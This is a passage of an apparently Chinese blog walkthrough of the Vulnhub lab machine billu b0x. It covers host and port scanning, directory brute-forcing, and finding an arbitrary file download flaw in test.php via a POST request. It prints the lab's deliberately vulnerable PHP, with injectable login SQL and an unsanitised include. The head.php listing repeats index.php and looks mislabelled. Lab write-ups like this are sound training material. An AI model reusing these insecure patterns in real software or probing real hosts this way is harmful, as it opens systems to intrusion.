<content type="html"><![CDATA[<p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250115198.png" alt="image-20231024201252834"></p><p>Vulnhub靶机billu b0x的渗透实战记录,每一步都有详细的思路和操作过程</p><h1>靶机简介</h1><p>官方下载地址:<a href="https://www.vulnhub.com/entry/billu-b0x,188/">https://www.vulnhub.com/entry/billu-b0x,188/</a></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250144485.png" alt="image-20231025014413349"></p><p>目标是获得靶机root权限。话不多说,直接开始:</p><span id="more"></span><h1>进行靶机发现与服务发现</h1><ol><li><p>靶机发现</p><p>使用<code>arp-scan -l</code>命令,扫描出局域网上活动主机信息,发现10.0.2.8疑似靶机ip</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250117828.png" alt="image-20231025011725465"></p></li><li><p>端口扫描</p><p>对10.0.2.8进行端口扫描,使用<code>nmap</code>命令</p><p><code>nmap -p- --min-rate=1000 10.0.2.8</code></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250117182.png" alt="image-20231025011743824"></p><p>靶机开启了22端口和80端口</p></li><li><p>进一步扫描获取服务细节</p><p><code>nmap -p 22,80 -sV -sC 10.0.2.8</code></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250118006.png" alt="image-20231025011808646"></p><p>web服务是常见的渗透入口,所以从浏览器访问靶机80端口</p></li></ol><h1>web渗透</h1><p>靶机web服务如下</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250118096.png" alt="image-20231025011824734"></p><p>尝试简单的SQL注入,失败。尝试其他方法</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250118970.png" alt="image-20231025011839593"></p><h2 id="路径暴力破解">路径暴力破解</h2><p>使用<code>dirsearch</code>工具对靶机web服务进行路径暴力破解</p><p><code>dirsearch -u http://10.0.2.8</code></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250118136.png" alt="image-20231025011854781"></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250119994.png" alt="image-20231025011903634"></p><p>找到其中所有状态码为200和302的结果:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[20:16:31] 200 - 307B - /add.php</span><br><span class="line">[20:16:31] 200 - 307B - /add</span><br><span class="line">[20:16:41] 200 - 1B - /c</span><br><span class="line">[20:16:50] 200 - 3KB - /head.php </span><br><span class="line">[20:16:51] 200 - 1KB - /images/</span><br><span class="line">[20:16:51] 200 - 47KB - /in</span><br><span class="line">[20:16:51] 200 - 3KB - /index</span><br><span class="line">[20:16:51] 200 - 3KB - /index.php</span><br><span class="line">[20:16:58] 302 - 2KB - /panel -> index.php </span><br><span class="line">[20:16:58] 302 - 2KB - /panel.php -> index.php</span><br><span class="line">[20:17:00] 200 - 8KB - /phpmy/</span><br><span class="line">[20:17:05] 200 - 1B - /show</span><br><span class="line">[20:17:08] 200 - 72B - /test</span><br><span class="line">[20:17:08] 200 - 72B - /test.php</span><br></pre></td></tr></table></figure><h2 id="寻找可以利用的东西">寻找可以利用的东西</h2><p>访问add.php, head.php, index.php, panel.php, test.php后发现,add页面是上传照片,head是登录界面图片,index是登录页面,panel暂时无法访问(可能是登陆后才能访问的页面),test似乎是执行与文件相关的命令</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250119681.png" alt="image-20231025011915320"></p><p>目前test看起来最有用</p><h2 id="利用test-php发现漏洞">利用test.php发现漏洞</h2><p>尝试给url加上参数看能否访问或执行文件。能访问则是文件下载漏洞,能执行则是文件包含漏洞,后者更好利用。我们试试index.php,因为它与登录有关。</p><p>给url直接加参数(使用get请求),没有任何结果</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250119237.png" alt="image-20231025011925882"></p><p>尝试改为post请求</p><p>使用BurpSuite拦截请求,在Repeater中修改为post请求并发送</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250119188.png" alt="image-20231025011934832"></p><p>发现成功获得了文件内容。说明有<strong>文件下载漏洞</strong>,同时也排除了文件包含漏洞。</p><p>通过改漏洞查看各php文件内容(此处不需要仔细看,后文提及时再回来看)</p><ul><li><p>add.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<form method="post" enctype="multipart/form-data"></span></span><br><span class="line"><span class="string"> Select image to upload:</span></span><br><span class="line"><span class="string"> <input type="file" name=image></span></span><br><span class="line"><span class="string"><input type=text name=name value="name"></span></span><br><span class="line"><span class="string"><input type=text name=address value="address"></span></span><br><span class="line"><span class="string"><input type=text name=id value=1337 ></span></span><br><span class="line"><span class="string"> <input type="submit" value="upload" name="upload"></span></span><br><span class="line"><span class="string"></form>'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></li><li><p>index.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'c.php'</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">'head.php'</span>);</span><br><span class="line"><span class="keyword">if</span>(@<span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]!=<span class="literal">true</span>)</span><br><span class="line">{</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]=<span class="string">''</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]==<span class="literal">true</span> && <span class="variable">$_SESSION</span>[<span class="string">'admin'</span>]!=<span class="string">''</span>)</span><br><span class="line">{</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"you are logged in :)"</span>;</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">'Location: panel.php'</span>, <span class="literal">true</span>, <span class="number">302</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<div align=center style="margin:30px 0px 0px 0px;"></span></span><br><span class="line"><span class="string"><font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> </span></span><br><span class="line"><span class="string"><br><br></span></span><br><span class="line"><span class="string">Show me your SQLI skills <br></span></span><br><span class="line"><span class="string"><form method=post></span></span><br><span class="line"><span class="string">Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br></span></span><br><span class="line"><span class="string"><input type=submit name=login value="let\'s login">'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'login'</span>]))</span><br><span class="line">{</span><br><span class="line"><span class="variable">$uname</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">'\''</span>,<span class="string">''</span>,<span class="title function_ invoke__">urldecode</span>(<span class="variable">$_POST</span>[<span class="string">'un'</span>]));</span><br><span class="line"><span class="variable">$pass</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">'\''</span>,<span class="string">''</span>,<span class="title function_ invoke__">urldecode</span>(<span class="variable">$_POST</span>[<span class="string">'ps'</span>]));</span><br><span class="line"><span class="variable">$run</span>=<span class="string">'select * from auth where pass=\''</span>.<span class="variable">$pass</span>.<span class="string">'\' and uname=\''</span>.<span class="variable">$uname</span>.<span class="string">'\''</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$conn</span>, <span class="variable">$run</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">mysqli_num_rows</span>(<span class="variable">$result</span>) > <span class="number">0</span>) {</span><br><span class="line"></span><br><span class="line"><span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"You are allowed<br>"</span>;</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]=<span class="literal">true</span>;</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'admin'</span>]=<span class="variable">$row</span>[<span class="string">'username'</span>];</span><br><span class="line"> </span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Location: panel.php'</span>, <span class="literal">true</span>, <span class="number">302</span>);</span><br><span class="line"> </span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>alert('Try again');</script>"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> "</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></li><li><p>head.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'c.php'</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">'head.php'</span>);</span><br><span class="line"><span class="keyword">if</span>(@<span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]!=<span class="literal">true</span>)</span><br><span class="line">{</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]=<span class="string">''</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]==<span class="literal">true</span> && <span class="variable">$_SESSION</span>[<span class="string">'admin'</span>]!=<span class="string">''</span>)</span><br><span class="line">{</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"you are logged in :)"</span>;</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">'Location: panel.php'</span>, <span class="literal">true</span>, <span class="number">302</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<div align=center style="margin:30px 0px 0px 0px;"></span></span><br><span class="line"><span class="string"><font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> </span></span><br><span class="line"><span class="string"><br><br></span></span><br><span class="line"><span class="string">Show me your SQLI skills <br></span></span><br><span class="line"><span class="string"><form method=post></span></span><br><span class="line"><span class="string">Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br></span></span><br><span class="line"><span class="string"><input type=submit name=login value="let\'s login">'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'login'</span>]))</span><br><span class="line">{</span><br><span class="line"><span class="variable">$uname</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">'\''</span>,<span class="string">''</span>,<span class="title function_ invoke__">urldecode</span>(<span class="variable">$_POST</span>[<span class="string">'un'</span>]));</span><br><span class="line"><span class="variable">$pass</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">'\''</span>,<span class="string">''</span>,<span class="title function_ invoke__">urldecode</span>(<span class="variable">$_POST</span>[<span class="string">'ps'</span>]));</span><br><span class="line"><span class="variable">$run</span>=<span class="string">'select * from auth where pass=\''</span>.<span class="variable">$pass</span>.<span class="string">'\' and uname=\''</span>.<span class="variable">$uname</span>.<span class="string">'\''</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$conn</span>, <span class="variable">$run</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">mysqli_num_rows</span>(<span class="variable">$result</span>) > <span class="number">0</span>) {</span><br><span class="line"></span><br><span class="line"><span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"You are allowed<br>"</span>;</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]=<span class="literal">true</span>;</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'admin'</span>]=<span class="variable">$row</span>[<span class="string">'username'</span>];</span><br><span class="line"> </span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Location: panel.php'</span>, <span class="literal">true</span>, <span class="number">302</span>);</span><br><span class="line"> </span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<script>alert('Try again');</script>"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> "</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></li><li><p>panel.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span>(<span class="string">'c.php'</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">'head2.php'</span>);</span><br><span class="line"><span class="keyword">if</span>(@<span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]!=<span class="literal">true</span> )</span><br><span class="line">{</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">'Location: index.php'</span>, <span class="literal">true</span>, <span class="number">302</span>);</span><br><span class="line"><span class="keyword">exit</span>();</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"Welcome to billu b0x "</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>'</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'lg'</span>]))</span><br><span class="line">{</span><br><span class="line"><span class="keyword">unset</span>(<span class="variable">$_SESSION</span>[<span class="string">'logged'</span>]);</span><br><span class="line"><span class="keyword">unset</span>(<span class="variable">$_SESSION</span>[<span class="string">'admin'</span>]);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">'Location: index.php'</span>, <span class="literal">true</span>, <span class="number">302</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<hr><br>'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<form method=post></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"><select name=load></span></span><br><span class="line"><span class="string"> <option value="show">Show Users</option></span></span><br><span class="line"><span class="string"><option value="add">Add User</option></span></span><br><span class="line"><span class="string"></select> </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> &nbsp<input type=submit name=continue value="continue"></form><br><br>'</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'continue'</span>]))</span><br><span class="line">{</span><br><span class="line"><span class="variable">$dir</span>=<span class="title function_ invoke__">getcwd</span>();</span><br><span class="line"><span class="variable">$choice</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">'./'</span>,<span class="string">''</span>,<span class="variable">$_POST</span>[<span class="string">'load'</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$choice</span>===<span class="string">'add'</span>)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">include</span>(<span class="variable">$dir</span>.<span class="string">'/'</span>.<span class="variable">$choice</span>.<span class="string">'.php'</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$choice</span>===<span class="string">'show'</span>)</span><br><span class="line">{</span><br><span class="line"> </span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$dir</span>.<span class="string">'/'</span>.<span class="variable">$choice</span>.<span class="string">'.php'</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$dir</span>.<span class="string">'/'</span>.<span class="variable">$_POST</span>[<span class="string">'load'</span>]);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'upload'</span>]))</span><br><span class="line">{</span><br><span class="line"></span><br><span class="line"><span class="variable">$name</span>=<span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$conn</span>,<span class="variable">$_POST</span>[<span class="string">'name'</span>]);</span><br><span class="line"><span class="variable">$address</span>=<span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$conn</span>,<span class="variable">$_POST</span>[<span class="string">'address'</span>]);</span><br><span class="line"><span class="variable">$id</span>=<span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$conn</span>,<span class="variable">$_POST</span>[<span class="string">'id'</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$_FILES</span>[<span class="string">'image'</span>][<span class="string">'name'</span>]))</span><br><span class="line">{</span><br><span class="line"><span class="variable">$iname</span>=<span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$conn</span>,<span class="variable">$_FILES</span>[<span class="string">'image'</span>][<span class="string">'name'</span>]);</span><br><span class="line"><span class="variable">$r</span>=<span class="title function_ invoke__">pathinfo</span>(<span class="variable">$_FILES</span>[<span class="string">'image'</span>][<span class="string">'name'</span>],PATHINFO_EXTENSION);</span><br><span class="line"><span class="variable">$image</span>=<span class="keyword">array</span>(<span class="string">'jpeg'</span>,<span class="string">'jpg'</span>,<span class="string">'gif'</span>,<span class="string">'png'</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">in_array</span>(<span class="variable">$r</span>,<span class="variable">$image</span>))</span><br><span class="line">{</span><br><span class="line"><span class="variable">$finfo</span> = @<span class="keyword">new</span> <span class="title function_ invoke__">finfo</span>(FILEINFO_MIME); </span><br><span class="line"><span class="variable">$filetype</span> = @<span class="variable">$finfo</span>-><span class="title function_ invoke__">file</span>(<span class="variable">$_FILES</span>[<span class="string">'image'</span>][<span class="string">'tmp_name'</span>]);</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">'/image\/jpeg/'</span>,<span class="variable">$filetype</span> ) || <span class="title function_ invoke__">preg_match</span>(<span class="string">'/image\/png/'</span>,<span class="variable">$filetype</span> ) || <span class="title function_ invoke__">preg_match</span>(<span class="string">'/image\/gif/'</span>,<span class="variable">$filetype</span> ))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">move_uploaded_file</span>(<span class="variable">$_FILES</span>[<span class="string">'image'</span>][<span class="string">'tmp_name'</span>], <span class="string">'uploaded_images/'</span>.<span class="variable">$_FILES</span>[<span class="string">'image'</span>][<span class="string">'name'</span>]))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Uploaded successfully "</span>;</span><br><span class="line"> <span class="variable">$update</span>=<span class="string">'insert into users(name,address,image,id) values(\''</span>.<span class="variable">$name</span>.<span class="string">'\',\''</span>.<span class="variable">$address</span>.<span class="string">'\',\''</span>.<span class="variable">$iname</span>.<span class="string">'\', \''</span>.<span class="variable">$id</span>.<span class="string">'\')'</span>; </span><br><span class="line"> <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$conn</span>, <span class="variable">$update</span>);</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<br>i told you dear, only png,jpg and gif file are allowed"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<br>only png,jpg and gif file are allowed"</span>;</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></li><li><p>test.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">file_download</span>(<span class="params"><span class="variable">$download</span></span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">file_exists</span>(<span class="variable">$download</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">"Content-Description: File Transfer"</span>); </span><br><span class="line"></span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Content-Transfer-Encoding: binary'</span>);</span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Expires: 0'</span>);</span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Cache-Control: must-revalidate, post-check=0, pre-check=0'</span>);</span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Pragma: public'</span>);</span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Accept-Ranges: bytes'</span>);</span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Content-Disposition: attachment; filename="'</span>.<span class="title function_ invoke__">basename</span>(<span class="variable">$download</span>).<span class="string">'"'</span>); </span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Content-Length: '</span> . <span class="title function_ invoke__">filesize</span>(<span class="variable">$download</span>));</span><br><span class="line"> <span class="title function_ invoke__">header</span>(<span class="string">'Content-Type: application/octet-stream'</span>); </span><br><span class="line"> <span class="title function_ invoke__">ob_clean</span>();</span><br><span class="line"> <span class="title function_ invoke__">flush</span>();</span><br><span class="line"> <span class="title function_ invoke__">readfile</span> (<span class="variable">$download</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"file not found"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'file'</span>]))</span><br><span class="line">{</span><br><span class="line"><span class="title function_ invoke__">file_download</span>(<span class="variable">$_POST</span>[<span class="string">'file'</span>]);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">'\'file\' parameter is empty. Please provide file path in \'file\' parameter '</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ul><p>观察index.php,在登录逻辑中发现如下代码:</p><figure class="highlight 